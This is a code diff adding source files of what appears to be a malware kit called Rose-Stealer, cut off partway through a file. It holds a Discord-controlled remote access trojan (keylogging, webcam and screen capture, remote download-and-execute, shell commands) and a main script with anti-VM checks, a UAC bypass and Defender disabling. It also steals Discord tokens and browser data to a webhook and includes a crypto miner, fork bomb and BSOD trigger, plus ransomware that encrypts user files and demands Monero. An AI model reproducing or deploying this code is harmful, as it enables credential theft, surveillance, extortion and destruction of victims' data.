KEYLOGGER IN SECONDS + fname = f'keylogger_finaldata_CLIENTID_{clientid}_{result_str}{duration}.txt' + end_time = time.monotonic() + int(record_time) + recorded = [] + try: + await ctx.send(f'Started keylogger for process {clientid} with a duration of `{duration}` seconds without any problems. You will be notified in `{duration}` seconds, when the final data is being posted.') + while True: + if time.monotonic() >= end_time: + break + recorded.append(keyboard.read_event()) + except KeyboardInterrupt: + await ctx.send(f'Keylogger was killed by secret keystroke for process {clientid} because of `{Exception}`. Exe has been compiled without `--noconsole` probably.') + pass + except Exception: + await ctx.send(f'Couldn\'t start keylogger for process {clientid} because of `{Exception}`.') + + with open(fname, 'w') as f: + for keystroke in recorded: + if keystroke.event_type == 'down': + if str('up') in str(keystroke): + str(keystroke).upper() + if str('down') in str(keystroke): + str(keystroke).lower() + f.write(str(f'''{keystroke} +'''.replace('KeyboardEvent', '').replace('(', '').replace(')', '').replace(' up', '').replace(' down', ''))) + await ctx.send(file=discord.File(fname)) + await ctx.send(f'Keylogger data file `{fname}` from process {clientid} was sent.') + os.remove(fname) + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='msgbox') +async def msgbox(ctx, inputid, title, msg): + if inputid == clientid: + emojis = ['✅', '❌'] + prmtn = await ctx.send(f'Final message box is ready to be sent to process {clientid}. Are we allowed to promote Knight Remote Adminstration Tool a little with it?') + for emoji in emojis: + await prmtn.add_reaction(emoji) + @bot.event + async def on_reaction_add(reaction, user): + MB_OK = 0x0 ### BUTTON + ICON_EXCLAIM = 0x30 ### ICON + emoji = reaction.emoji + if user.bot: + return + if emoji == '✅': + try: + ctypes.windll.user32.MessageBoxW(0, str(f'Join the Discord server: {dscrd} | Individual user message: ' + msg), str('Your PC is infected by Knight Remote Adminstration Tool! | Individual user title: ' + title), MB_OK | ICON_EXCLAIM) ### FINAL MSGBOX WITH PROMOTION + await ctx.send(f'Successfully showed message box with promotion for process {clientid}.') + except Exception: + await ctx.send(f'Couldn\'t show message box for process {clientid} because of `{Exception}`.') + return + elif emoji == '❌': + try: + ctypes.windll.user32.MessageBoxW(0, str(msg), str(title), MB_OK | ICON_EXCLAIM) ### FINAL MSGBOX WITHOUT PROMOTION + await ctx.send(f'Successfully showed message box without promotion for process {clientid}.') + except Exception: + await ctx.send(f'Couldn\'t show message box for process {clientid} because of `{Exception}`.') + return + else: + return + if inputid != clientid: + if inputid == 'all': + emojis = ['✅', '❌'] + prmtn = await ctx.send(f'Final message box is ready to be sent to process {clientid}. Are we allowed to promote Knight Remote Adminstration Tool a little with it?') + for emoji in emojis: + await prmtn.add_reaction(emoji) + @bot.event + async def on_reaction_add(reaction, user): + MB_OK = 0x0 ### BUTTON + ICON_EXCLAIM = 0x30 ### ICON + emoji = reaction.emoji + if user.bot: + return + if emoji == '✅': + try: + ctypes.windll.user32.MessageBoxW(0, str(f'Join the Discord server: {dscrd} | Individual user message: ' + msg), str('Your PC is infected by Knight Remote Adminstration Tool! | Individual user title: ' + title), MB_OK | ICON_EXCLAIM) ### FINAL MSGBOX WITH PROMOTION + await ctx.send(f'Successfully showed message box with promotion for process {clientid}.') + except Exception: + await ctx.send(f'Couldn\'t show message box for process {clientid} because of `{Exception}`.') + return + elif emoji == '❌': + try: + ctypes.windll.user32.MessageBoxW(0, str(msg), str(title), MB_OK | ICON_EXCLAIM) ### FINAL MSGBOX WITHOUT PROMOTION + await ctx.send(f'Successfully showed message box without promotion for process {clientid}.') + except Exception: + await ctx.send(f'Couldn\'t show message box for process {clientid} because of `{Exception}`.') + return + else: + return + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='screenshot') +async def screenshot(ctx, inputid): + if inputid == clientid: + image = ImageGrab.grab( + bbox=None, + include_layered_windows=False, + all_screens=True, + xdisplay=None + ) + fname = f'screenshot_{clientid}.png' + image.save(fname) + await ctx.send(file=discord.File(fname)) + await ctx.send(f'Screenshot `{fname}` from process {clientid} was sent.') + os.remove(fname) + if inputid != clientid: + if inputid == 'all': + image = ImageGrab.grab( + bbox=None, + include_layered_windows=False, + all_screens=True, + xdisplay=None + ) + fname = f'screenshot_{clientid}.png' + image.save(fname) + await ctx.send(file=discord.File(fname)) + await ctx.send(f'Screenshot `{fname}` from process {clientid} was sent.') + os.remove(fname) + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='startup') +async def startup(ctx, inputid): + if inputid == clientid: + try: + shutil.copy(argv[0], startup_loc) + await ctx.send(f'Successfully copied file `{argv[0]}` from process {clientid} to `{startup_loc}`.') + except Exception: + await ctx.send(f'Failed to copy file `{argv[0]}` from process {clientid} to `{startup_loc}`.') + if inputid != clientid: + if inputid == 'all': + try: + shutil.copy(argv[0], startup_loc) + await ctx.send(f'Successfully copied file `{argv[0]}` from process {clientid} to `{startup_loc}`.') + except Exception: + await ctx.send(f'Failed to copy file `{argv[0]}` from process {clientid} to `{startup_loc}`.') + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='upload') +async def upload(ctx, inputid, dwnldlink, filetype): ### PUT FILE TYPES LIKE .png, .exe, .msi, .txt AND MORE THERE WHEN USING THE COMMAND + if inputid == clientid: + get_random_string(15) + r = requests.get(dwnldlink, allow_redirects=False) + fname = f'filedwnldfrweb_CLIENTID_{clientid}_{result_str}{filetype}' + open(fname, 'wb').write(r.content) + emojis = ['✅', '❌'] + msg = await ctx.send(f'Uploaded file `{dwnldlink}` with the filetype `{filetype}` to process {clientid}. Should the file be executed directly?') + for emoji in emojis: + await msg.add_reaction(emoji) + @bot.event + async def on_reaction_add(reaction, user): + emoji = reaction.emoji + if user.bot: + return + if emoji == '✅': + try: + os.system('call '+fname) + await ctx.send(f'Successfully executed scraped file `{dwnldlink}` with the filetype `{filetype}` for process {clientid}.') + except Exception: + await ctx.send(f'Couldn\'t execute scraped file `{dwnldlink}` with the filetype `{filetype}` for process {clientid} because of `{Exception}`.') + return + elif emoji == '❌': + await ctx.send(f'Okay, scraped file `{dwnldlink}` with the filetype `{filetype}` is not going to be executed for process {clientid}.') + return + else: + return + if inputid != clientid: + if inputid == 'all': + get_random_string(15) + r = requests.get(dwnldlink, allow_redirects=False) + fname = f'filedwnldfrweb_CLIENTID_{clientid}_{result_str}{filetype}' + open(fname, 'wb').write(r.content) + emojis = ['✅', '❌'] + msg = await ctx.send(f'Downloaded file `{dwnldlink}` with the filetype `{filetype}` to process {clientid}. Should the file be executed directly?') + for emoji in emojis: + await msg.add_reaction(emoji) + @bot.event + async def on_reaction_add(reaction, user): + emoji = reaction.emoji + if user.bot: + return + if emoji == '✅': + try: + os.system(fname) + await ctx.send(f'Successfully executed scraped file `{dwnldlink}` with the filetype `{filetype}` for process {clientid}.') + except Exception: + await ctx.send(f'Couldn\'t execute scraped file `{dwnldlink}` with the filetype `{filetype}` for process {clientid} because of `{Exception}`.') + return + elif emoji == '❌': + await ctx.send(f'Okay, scraped file `{dwnldlink}` with the filetype `{filetype}` is not going to be executed for process {clientid}.') + return + else: + return + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='wallpaper') +async def wallpaper(ctx, inputid, rawimg): + if inputid == clientid: + r = requests.get(rawimg, allow_redirects=False) + fname = f'newwallpaper_{clientid}.jpg' ### ONLY .jpg IMAGES + open(fname, 'wb').write(r.content) + path = os.path.abspath(fname) + ctypes.windll.user32.SystemParametersInfoW(win32con.SPI_SETDESKWALLPAPER, 0, path, changed) + await ctx.send(f'Changed background wallpaper for {clientid} to `{rawimg}`.') + os.remove(fname) + if inputid != clientid: + if inputid == 'all': + r = requests.get(rawimg, allow_redirects=False) + fname = f'newwallpaper_{clientid}.jpg' ### ONLY .jpg IMAGES + open(fname, 'wb').write(r.content) + path = os.path.abspath(fname) + ctypes.windll.user32.SystemParametersInfoW(win32con.SPI_SETDESKWALLPAPER, 0, path, changed) + await ctx.send(f'Changed background wallpaper for {clientid} to `{rawimg}`.') + os.remove(fname) + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='webcam') +async def webcam(ctx, inputid): + pygame.camera.init() + if inputid == clientid: + camlist = pygame.camera.list_cameras() + fname = str(f'webcampicture_{clientid}.png') + if camlist: + cam = pygame.camera.Camera(camlist[0], (640, 480)) + cam.start() + image = cam.get_image() + pygame.image.save(image, fname) + await ctx.send(file=discord.File(fname)) + await ctx.send(f'Webcam picture `{fname}` from process {clientid} was sent.') + os.remove(fname) + else: + await ctx.send(f'No camera was found for process {clientid}.') + if inputid != clientid: + if inputid == 'all': + camlist = pygame.camera.list_cameras() + fname = str(f'webcampicture_{clientid}.png') + if camlist: + cam = pygame.camera.Camera(camlist[0], (640, 480)) + cam.start() + image = cam.get_image() + pygame.image.save(image, fname) + await ctx.send(file=discord.File(fname)) + await ctx.send(f'Webcam picture `{fname}` from process {clientid} was sent.') + os.remove(fname) + else: + await ctx.send(f'No camera was found for process {clientid}.') + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='tasklist') +async def tasklist(ctx, inputid): + if inputid == clientid: + tasks = str(subprocess.check_output('tasklist', shell=True)) + fname = f'runningtasks_{clientid}.txt' + with open(fname, 'w') as f: + f.write(tasks) + await ctx.send(file=discord.File(fname)) + await ctx.send(f'Wrote all current tasks from process {clientid} to `{fname}`.') + os.remove(fname) + if inputid != clientid: + if inputid == 'all': + tasks = str(subprocess.check_output('tasklist', shell=True)) + fname = f'runningtasks_{clientid}.txt' + with open(fname, 'w') as f: + f.write(tasks) + await ctx.send(file=discord.File(fname)) + await ctx.send(f'Wrote all current tasks from process {clientid} to `{fname}`.') + os.remove(fname) + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='killprocess') +async def killprocess(ctx, inputid, procname): + if inputid == clientid: + subprocess.run(f'taskkill /f /im {procname}', shell=True) + await ctx.send(f'Initiated to kill process `{procname}` for client {clientid}.') + if inputid != clientid: + if inputid == 'all': + subprocess.run(f'taskkill /f /im {procname}', shell=True) + await ctx.send(f'Initiated to kill process `{procname}` for client {clientid}.') + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='excshell') +async def shell(ctx, inputid, cmd): + if inputid == clientid: + subprocess.run(f'start cmd /f /c {cmd}', shell=True) + await ctx.send(f'Executed cmd command `{cmd}` for process {clientid}.') + if inputid != clientid: + if inputid == 'all': + subprocess.run(f'start cmd /f /c {cmd}', shell=True) + await ctx.send(f'Executed cmd command `{cmd}` for process {clientid}.') + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='excpowershell') +async def powershell(ctx, inputid, shllcmd): + if inputid == clientid: + subprocess.run(f'start powershell /c {shllcmd}', shell=True) + await ctx.send(f'Executed shell command `{shllcmd}` for process {clientid}.') + if inputid != clientid: + if inputid == 'all': + subprocess.run(f'start powershell /c {shllcmd}', shell=True) + await ctx.send(f'Executed shell command `{shllcmd}` for process {clientid}.') + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='isadmin') +async def isadmin(ctx, inputid): + if inputid == clientid: + isadmin = ctypes.windll.shell32.IsUserAnAdmin() + if isadmin: + await ctx.send(f'Process {clientid} **is** admin.') + if not isadmin: + await ctx.send(f'Process {clientid} **is not** admin.') + if inputid != clientid: + if inputid == 'all': + isadmin = ctypes.windll.shell32.IsUserAnAdmin() + if isadmin: + await ctx.send(f'Process {clientid} **is** admin.') + if not isadmin: + await ctx.send(f'Process {clientid} **is not** admin.') + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='getadmin') +async def getadmin(ctx, inputid): + if inputid == clientid: + ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1) + await ctx.send(f'Requested admin access for process {clientid}.') + sys.exit(0) + if inputid != clientid: + if inputid == 'all': + ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1) + await ctx.send(f'Requested admin access for process {clientid}.') + sys.exit(0) + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='quit') +async def quit(ctx, inputid): + if inputid == clientid: + await ctx.send(f'Terminated Knight Remote Adminstration Tool for {clientid}.') + sys.exit(0) + if inputid != clientid: + if inputid == 'all': + await ctx.send(f'Terminated Knight Remote Adminstration Tool for {clientid}.') + sys.exit(0) + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +@bot.command(name='clients') +async def clients(ctx): + await ctx.send(f'{hostname} - {clientid}.') + +@bot.command(name='browser') +async def browser(ctx, inputid, url): + if inputid == clientid: + webbrowser.open(url) + await ctx.send(f'Opened webbrowser `{url}` for process {clientid}.') + if inputid != clientid: + if inputid == 'all': + webbrowser.open(url) + await ctx.send(f'Opened webbrowser `{url}` for process {clientid}.') + if inputid != 'all' and clientid: + await ctx.send(f'Sorry, couldn\'t find process {inputid}.') + +def run_rat(): + bot.run(btoken) diff --git a/Rose-Stealerv1/resources/source/old/main.py b/Rose-Stealerv1/resources/source/old/main.py new file mode 100644 index 0000000..fefaaaa --- /dev/null +++ b/Rose-Stealerv1/resources/source/old/main.py @@ -0,0 +1,376 @@ +import os +import re +import ctypes +import pygame.camera +import subprocess +import threading +import sys +import platform +import shutil +from datetime import datetime +from dhooks import File, Embed +from base64 import b64decode +from Crypto.Cipher import AES +from ctypes import POINTER, Structure, byref, c_buffer, c_char, cdll, windll, wintypes +from json import loads as json_loads +from PIL import ImageGrab + +from bin import xmr_miner, InjectX, rose_rat, knight_rat, block_sites, discordc, _roblox, tbsod, antivm, ransomware +from bin import _startup as startup +from bin.games import get_games +from bin.config import Config +from bin.webhook import _WebhookX +from bin._random_string import * +from bin.sysinf import send_device_information +from bin.uac_bypass import GetSelf, IsAdmin, UACbypass +from bin.browser import Browsers +from bin.ipinf import Info + + +cc = Config() + +if platform.system() != "Windows": + sys.exit() + +main_path = os.path.join(os.getenv("APPDATA"), "roseontop") +webhook = cc.get_webhook() +debug_mode = cc.get_debug_mode() +wh_avatar = cc.get_avatar() +wh_name = cc.get_name() +eb_color = cc.get_color() +eb_footer = cc.get_footer() + +Threadlist = [] +local = os.getenv("LOCALAPPDATA") +roaming = os.getenv("APPDATA") +temp = os.getenv("TEMP") +username = os.getlogin() + + +class DATA_BLOB(Structure): + _fields_ = [("cbData", wintypes.DWORD), ("pbData", POINTER(c_char))] + + +def GetData(blob_out): + cbData = int(blob_out.cbData) + pbData = blob_out.pbData + buffer = c_buffer(cbData) + cdll.msvcrt.memcpy(buffer, pbData, cbData) + windll.kernel32.LocalFree(pbData) + return buffer.raw + + +def send_error_notification(exception, type): + webx = _WebhookX().get_object() + + embed = Embed(title="Rose Report", description="Rose Instance - Error", color=eb_color, timestamp=datetime.now().isoformat()) + + embed.set_author(name=wh_name, icon_url=wh_avatar) + embed.set_footer(text=eb_footer, icon_url=wh_avatar) + embed.add_field(name=f"Error in {type} occured | Help us by reporting this bug", value=f"`{exception}`", inline=False) + + webx.send(embed=embed) + + +if cc.get_antivm(): + try: + if antivm.user_check(): + os._exit(1) + if antivm.hwid_check(): + os._exit(1) + if antivm.ip_check(): + os._exit(1) + if antivm.registry_check(): + os._exit(1) + if antivm.dll_check(): + os._exit(1) + if antivm.specs_check(): + os._exit(1) + if antivm.proc_check(): + os._exit(1) + if antivm.mac_check(): + os._exit(1) + antivm.process_check() + except Exception as e: + send_error_notification(e, "Rose Anti-VM") + +if cc.get_uac_bypass(): + try: + if not IsAdmin(): + if GetSelf()[1]: + if UACbypass(): + os._exit(1) + else: + param = " ".join(sys.argv) + if ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, param, None, 1) > 32: + os._exit(0) + except Exception as e: + send_error_notification(e, "Rose UAC Bypass") + +if IsAdmin(): + if cc.get_disable_protectors(): + subprocess.run("netsh advfirewall set domainprofile state off", shell=True) + subprocess.run('Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name "DisableRealtimeMonitoring" -Value 1', shell=True) + if cc.get_block_sites(): + block_sites.block_sites() + +if cc.get_start_up(): + try: + startup.Startup() + except Exception as e: + send_error_notification(e, "Rose Startup") + +if not os.path.exists(main_path): + try: + os.mkdir(main_path) + except Exception as e: + pass + +if cc.get_fake_error(): + try: + ctypes.windll.user32.MessageBoxW(0, "This application failed to start because d3dx9_43.dll was not found. Re-installing the application may fix this problem.", f"{os.path.basename(__file__)} - System Error", 16) + except Exception as e: + send_error_notification(e, "Rose Fake Error") + +if cc.get_discord_ping(): + try: + webx = _WebhookX().get_object() + webx.send("@everyone") + except Exception as e: + send_error_notification(e, "Rose Ping") + + +def DecryptValue(buff, master_key=None): + starts = buff.decode(encoding="utf8", errors="ignore")[:3] + if starts in ("v10", "v11"): + iv = buff[3:15] + payload = buff[15:] + cipher = AES.new(master_key, AES.MODE_GCM, iv) + decrypted_pass = cipher.decrypt(payload) + decrypted_pass = decrypted_pass[:-16].decode() + return decrypted_pass + + +def CryptUnprotectData(encrypted_bytes, entropy=b""): + buffer_in = c_buffer(encrypted_bytes, len(encrypted_bytes)) + buffer_entropy = c_buffer(entropy, len(entropy)) + blob_in = DATA_BLOB(len(encrypted_bytes), buffer_in) + blob_entropy = DATA_BLOB(len(entropy), buffer_entropy) + blob_out = DATA_BLOB() + + if windll.crypt32.CryptUnprotectData(byref(blob_in), None, byref(blob_entropy), None, None, 0x01, byref(blob_out)): + return GetData(blob_out) + + +# credits to lotus + +Tokens = "" +dclass = discordc.DiscordX() + + +def GetDiscord(path, arg): + if not os.path.exists(f"{path}/Local State"): + return + + pathC = path + arg + + pathKey = path + "/Local State" + with open(pathKey, "r", encoding="utf-8") as f: + local_state = json_loads(f.read()) + master_key = b64decode(local_state["os_crypt"]["encrypted_key"]) + master_key = CryptUnprotectData(master_key[5:]) + # print(path, master_key) + + for file in os.listdir(pathC): + # print(path, file) + if file.endswith(".log") or file.endswith(".ldb"): + for line in [x.strip() for x in open(f"{pathC}\\{file}", errors="ignore").readlines() if x.strip()]: + for token in re.findall(r"dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^\"]*", line): + global Tokens + tokenDecoded = DecryptValue(b64decode(token.split("dQw4w9WgXcQ:")[1]), master_key) + if dclass.checkToken(tokenDecoded) and tokenDecoded not in Tokens: + # print(token) + Tokens += tokenDecoded + # writeforfile(Tokens, 'tokens') + dclass.uploadToken(tokenDecoded) + + +def GetTokens(path, arg): + if not os.path.exists(path): + return + + path += arg + for file in os.listdir(path): + if file.endswith(".log") or file.endswith(".ldb"): + for line in [x.strip() for x in open(f"{path}\\{file}", errors="ignore").readlines() if x.strip()]: + for regex in ( + r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", + r"mfa\.[\w-]{80,95}", + ): + for token in re.findall(regex, line): + global Tokens + if dclass.checkToken(token) and token not in Tokens: + Tokens += token + dclass.uploadToken(token) + + +discordPaths = [ + [f"{roaming}/Discord", "/Local Storage/leveldb"], + [f"{roaming}/Lightcord", "/Local Storage/leveldb"], + [f"{roaming}/discordcanary", "/Local Storage/leveldb"], + [f"{roaming}/discordptb", "/Local Storage/leveldb"], +] + +if cc.get_token_stealing(): + for patt in discordPaths: + a = threading.Thread(target=GetDiscord, args=[patt[0], patt[1]]) + a.start() + Threadlist.append(a) + +if cc.get_browser_stealing(): + try: + browsers = Browsers(webhook) + except Exception as e: + send_error_notification(e, "Rose Browser Stealer") + +if cc.get_screenshot(): + try: + rndm_strr = get_random_string(5) + path = os.path.join(main_path, f"screenshot_{rndm_strr}.png") + screenshot = ImageGrab.grab() + screenshot.save(path) + + webx = _WebhookX().get_object() + + embed = Embed(title="Rose Report", description="Rose Instance - Screenshot", color=eb_color, timestamp=datetime.now().isoformat()) + + embed.set_author(name=wh_name, icon_url=wh_avatar) + embed.set_footer(text=eb_footer, icon_url=wh_avatar) + + file = File(path, name="screenshot.png") + + embed.set_image(url=f"attachment://screenshot.png") + + webx.send(embed=embed, file=file) + + os.remove(path) + except Exception as e: + send_error_notification(e, "Rose Screenshot Stealer") + +if cc.get_webcam(): + pygame.camera.init() + + camlist = pygame.camera.list_cameras() + + try: + rndm_strr = get_random_string(5) + if camlist: + cam = pygame.camera.Camera(camlist[0], (640, 480)) + cam.start() + image = cam.get_image() + path = os.path.join(main_path, f"webcam_{rndm_strr}.png") + pygame.image.save(image, path) + cam.stop() + webx = _WebhookX().get_object() + + embed = Embed(title="Rose Report", description="Rose Instance - Webcam", color=eb_color, timestamp=datetime.now().isoformat()) + + embed.set_author(name=wh_name, icon_url=wh_avatar) + embed.set_footer(text=eb_footer, icon_url=wh_avatar) + + file = File(path, name="webcam.png") + + embed.set_image(url=f"attachment://webcam.png") + + webx.send(embed=embed, file=file) + + os.remove(path) + except Exception as e: + send_error_notification(e, "Rose Webcam Stealer") + +if cc.get_games(): + try: + get_games().get_games() + except Exception as e: + send_error_notification(e, "Rose Games and Application Grabber") + +if cc.get_deviceinf_stealing(): + try: + send_device_information() + except Exception as e: + send_error_notification(e, "Rose Device Data Stealing") + +if cc.get_ipinf_stealing(): + try: + Info().send_data() + except Exception as e: + send_error_notification(e, "Rose IP & Wi-Fi Data") + +if cc.get_injection(): + try: + InjectX.InjectionX(webhook) + except Exception as e: + send_error_notification(e, "Rose Discord Injection") + +if cc.get_roblox_stealing(): + try: + _roblox.RobloxX().run() + except Exception as e: + send_error_notification(e, "Rose Roblox Stealer") + +if os.path.exists(main_path): + try: + shutil.rmtree(main_path) + except Exception as e: + pass + +if cc.get_xmr_miner(): + try: + threading.Thread(target=xmr_miner.xmrig()).start() + except Exception as e: + send_error_notification(e, "XMR Miner") + +if cc.get_ransomware(): + try: + threading.Thread(target=ransomware.ransomware()).start() + except Exception as e: + send_error_notification(e, "Rose Ransomware") + +if cc.get_knight_discord_rat(): + try: + threading.Thread(target=knight_rat.run_rat()).start() + except Exception as e: + send_error_notification(e, "Knight Remote Access") + +if cc.get_rose_discord_rat(): + try: + threading.Thread(target=rose_rat.run_rat()).start() + except Exception as e: + send_error_notification(e, "Rose Remote Access") + +if cc.get_bbcrash(): + try: + cr_file = os.path.join(os.getenv("appdata"), "rose", "csh45r.bat") + with open(cr_file, "w") as f: + f.write("%0|%0") + + subprocess.run("start /min cmd /k call {}".format(cr_file), shell=True, startupinfo=subprocess.STARTUPINFO(dwFlags=subprocess.STARTF_USESHOWWINDOW)) + except Exception as e: + send_error_notification(e, "Rose Batch Crash Attempter") + +if cc.get_tsbsod(): + try: + tbsod.Trigger() + except Exception as e: + send_error_notification(e, "Rose Trigger BSOD") + +if cc.get_rose_melt_stub(): + try: + if not (cc.get_knight_discord_rat() or cc.get_rose_discord_rat() or cc.get_ransomware()): + path = sys.argv[0] + + subprocess.Popen('ping localhost -n 3 > NUL && del /A H /F "{}"'.format(path), shell=True, creationflags=subprocess.CREATE_NEW_CONSOLE | subprocess.SW_HIDE) + + sys.exit() + except Exception as e: + send_error_notification(e, "Rose Anti Debug") diff --git a/Rose-Stealerv1/resources/source/old/ransomware.py b/Rose-Stealerv1/resources/source/old/ransomware.py new file mode 100644 index 0000000..34ce479 --- /dev/null +++ b/Rose-Stealerv1/resources/source/old/ransomware.py @@ -0,0 +1,136 @@ +import os +import random +import string +import requests +import datetime +import errno +from cryptography.fernet import Fernet +from bin.config import Config + +cc = Config() + +target_directory = r"C:/Users" # Directory to encrypt +webhook_url = cc.get_ransomware_discord_webhook_url() # Discord Webhook URL +email_adr = cc.get_ransomware_email_adress() # Email Adress where your encryption key will be sent +monero_adr = cc.get_ransomware_monero_wallet_adress() # Monero Wallet Address +cash = cc.get_ransomware_amount_of_money() # Amount of money to receive + +timestamp = datetime.datetime.now().isoformat() + + +def log_error(e): + data = {"username": "Rose Ransomware", "avatar_url": "https://raw.githubusercontent.com/DamagingRose/Rose-Grabber/main/resources/assets/Rose.png", "embeds": [{"title": "Rose Ransomware Error", "url": "https://github.com/voyqge", "color": cc.get_color(), "fields": [{"name": "USER ID", "value": f"`{user_id}`", "inline": True}, {"name": "ERROR OCCURED", "value": f"`{e}`", "inline": True}], "footer": {"text": "https://github.com/voyqge"}, "timestamp": timestamp}]} + + try: + requests.post(webhook_url, json=data) + except Exception: + pass + + +characters = string.ascii_letters + string.digits +user_id = "".join(random.choice(characters) for i in range(9)) # Creates random user ID + +key = Fernet.generate_key() # Creates random AES key +cipher_suite = Fernet(key) + +encryptedfiles = [] # Saves all encrypted files + +ransom_note = f"""Your computer is now infected with ransomware. Your file are encrypted with a secure algorithm that is impossible to crack. + +To recover your files you need a key. This key is generated once your file have been encrypted. To obtain the key, you must purchase it. + +You can do this by sending {cash} USD to this monero address: +{monero_adr} + +Don't know how to get monero? Here are some websites: + +https://www.coinbase.com/how-to-buy/monero +https://localmonero.co/?language=en +https://www.okx.com/buy-xmr + +Once you have sent the ransom to the monero address you must write an email this this email address: {email_adr} + +In this email you will include your personal ID so we know who you are. Your personal ID is: {user_id} + +Once you have completeted all of the steps, you will be provided with the key to decrypt your files. + +Don't know how ransomware works? Read up here: +https://www.trellix.com/en-us/security-awareness/ransomware/what-is-ransomware.html +https://www.checkpoint.com/cyber-hub/threat-prevention/ransomware/ +https://www.trendmicro.com/vinfo/us/security/definition/Ransomware + +Note: Messing with the ransomware will simply make your files harder to decrypt. Deleting the webhook will make it impossible, as the key can not be generated. + +Good luck""" + + +def send_wh(): + data = {"username": "Rose Ransomware", "avatar_url": "https://raw.githubusercontent.com/DamagingRose/Rose-Grabber/main/resources/assets/Rose.png", "embeds": [{"title": "Rose Ransomware Hit", "description": "Hello. It looks like you have hit another person. As soon as they send you an email with their personal ID and you approved their payment, please send them the download link for the decryption tool and give them their key, thanks. https://github.com/DamagingRose/Rose-Grabber/tree/main/resources/utils/rosedec", "url": "https://github.com/voyqge", "color": cc.get_color(), "fields": [{"name": "USER ID", "value": f"`{user_id}`", "inline": True}, {"name": "TARGET DIR", "value": f"`{target_directory}`", "inline": True}, {"name": "DECRYPTION KEY", "value": f"`{key.hex()}`", "inline": True}], "footer": {"text": "https://github.com/voyqge"}, "timestamp": timestamp}]} + + try: + requests.post(webhook_url, json=data) + except Exception: + pass + + +def encrypt_file(file_path): + encryptedfiles.append(file_path) + + with open(file_path, "rb") as file: + file_data = file.read() + encrypted_data = cipher_suite.encrypt(file_data) + + encrypted_file_path = file_path + ".rose.encrypted" + with open(encrypted_file_path, "wb") as encrypted_file: + encrypted_file.write(encrypted_data) + + os.remove(file_path) + + +def encrypt_directory(directory_path): + for root, dirs, files in os.walk(directory_path): + for file in files: + file_path = os.path.join(root, file) + try: + encrypt_file(file_path) + except OSError as e: + if e.errno in (errno.EACCES, errno.EPERM, errno.EINVAL, errno.ENOENT, errno.ENOTDIR, errno.ENAMETOOLONG, errno.EROFS): + pass # Ignore permission/access errors + except Exception as e: + if isinstance( + e, + ( + FileNotFoundError, + IsADirectoryError, + TimeoutError, + ), + ): + pass # Ignore common file errors + else: + log_error(e) + + +def encrypted_files(): + try: + with open("ROSE-RANSOMWARE-ENCRYPTED-FILES.txt", "w") as file: + for encryptedfile in encryptedfiles: + file.write(encryptedfile + "\n") + except Exception as e: + log_error(e) + + +def ransomware(): + send_wh() + encrypt_directory(target_directory) + encrypted_files() + + try: + desktop = os.path.join(os.path.join(os.environ["USERPROFILE"]), "Desktop") + file_path = os.path.join(desktop, "ROSE-RANSOMWARE-NOTE.txt") + with open(file_path, "w") as f: + f.write(ransom_note) + + os.startfile(file_path) + + except Exception as e: + log_error(e) diff --git a/Rose-Stealerv1/resources/source/old/rose_rat.py b/Rose-Stealerv1/resources/source/old/rose_rat.py new file mode 100644 index 0000000..6276417 --- /dev/null +++ b/Rose-Stealerv1/resources/source/old/rose_rat.py @@ -0,0 +1,227 @@ +from bin.config import Config +from bin.webhook import _WebhookX +from bin.ipinf import Info + +cc = Config() +ii = Info() +import socketio +import cv2 +import random +import pyttsx3 +import string +import ctypes +import os +from datetime import datetime +import subprocess +import io +from dhooks import Embed, File +from PIL import ImageGrab +from pynput.keyboard import Key, Controller +import threading + +sio = socketio.Client() + + +class CommandHandler: + def __init__(self): + self.webhook = _WebhookX().get_object() + self.keyboard = Controller() + + def screenshot(self): + screenshot = ImageGrab.grab() + file_name = "".join(random.choice(string.ascii_letters) for i in range(10)) + screenshot.save(f"temp_{file_name}.png") + file = File(f"temp_{file_name}.png", name="Rose-Injector Screenshot.png") + self.webhook.send(file=file) + os.remove(f"temp_{file_name}.png") + + @staticmethod + def messagebox(message): + MB_YESNO = 0x04 + MB_HELP = 0x4000 + ICON_STOP = 0x10 + ctypes.windll.user32.MessageBoxW(0, message, "Error", MB_HELP | MB_YESNO | ICON_STOP) + + def shell(self, instruction): + def _shell(): + output = subprocess.run(instruction, stdout=subprocess.PIPE, shell=True, stderr=subprocess.PIPE, stdin=subprocess.PIPE) + return output + + try: + result = str(_shell().stdout.decode("CP437")) # CP437 Decoding used for characters like " é " etc.. + except Exception as e: + result = str(f"Error | Advanced log: {e}") + + embed = Embed(description="Rose RAT", color=11495919, timestamp="now") # sets the timestamp to current time + + embed.set_author(name=f"Shell command result | {instruction}", icon_url=cc.get_avatar()) + embed.set_footer(text=cc.get_footer(), icon_url=cc.get_avatar()) + embed.add_field(name="Result", value=f"`{result}`") + + self.webhook.send(embed=embed) + + def shutdown(self): + embed = Embed(description="Rose RAT", color=11495919, 